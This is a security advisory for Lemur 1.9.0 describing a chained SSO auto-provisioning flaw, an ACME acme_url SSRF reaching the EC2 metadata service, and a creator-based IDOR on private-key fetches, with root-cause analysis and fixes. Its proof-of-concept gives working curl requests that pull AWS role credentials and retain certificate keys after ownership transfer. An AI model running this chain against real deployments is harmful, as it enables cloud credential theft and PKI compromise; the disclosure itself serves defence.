CRITICAL 9.9 PyPI

Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

GHSA-v2wp-frmc-5q3v · CVE-2026-55166 · PYSEC-2026-384

Published · Modified

Description

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR

Vulnerability Summary

Field Value
Title Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.

Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf


Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.

Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.

Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.

Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.

Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.

Prerequisites: Docker, curl, jq, openssl.

Run

cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json):

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)

curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json):

{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
  "creator_id": 1,
  "id": 1,
  "name": "poc-acme",
  "ssrf_error": null,
  "ssrf_response_body": "{
  \"Code\": \"Success\",
  \"LastUpdated\": \"2026-05-27T20:00:00Z\",
  \"Type\": \"AWS-HMAC\",
  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",
  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",
  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",
  \"Expiration\": \"2026-05-27T22:00:00Z\"
}",
  "ssrf_response_status": 200
}

ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.

Step 3 — Exfiltrate STS credentials

The IMDS payload is evidence/05_exfil_sts_credentials.json:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
  "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
  "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
  "Expiration": "2026-05-27T22:00:00Z"
}

In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.

Step 4 — Issue a certificate as the attacker (capture the private key)

curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"authority_id":1,"common_name":"pki.netflix.example"}'
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response (evidence/06_key_fetched_pre_transfer.json):

{"creator_bypass":true,
 "key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}

The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.

Step 5 — Transfer ownership to victim admin

curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"owner":"victim-admin@netflix.example"}'

owner is now victim-admin@netflix.example. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step.

Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)

curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
  http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.

Step 7 — Verdict

VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision    -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
4. PKI key persists      -- creator can read private_key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis

The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.

The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id.

The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.

Attack Scenario

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur worker
    participant IMDS as 169.254.169.254
    participant CertDB as Lemur cert DB
Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment

The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.

The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.

The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.

Remediation

Four changes, in priority order:

  1. Allowlist acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
ALLOWED_ACME_HOSTS = current_app.config.get(
    "ACME_DIRECTORY_HOST_ALLOWLIST",
    {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory_url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS:
    raise ValueError("acme_url host not allowlisted")
  1. Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.

  2. Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.

  3. Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context

External References

Ready to move

Start Securing

Free, no credit card | First findings in minutes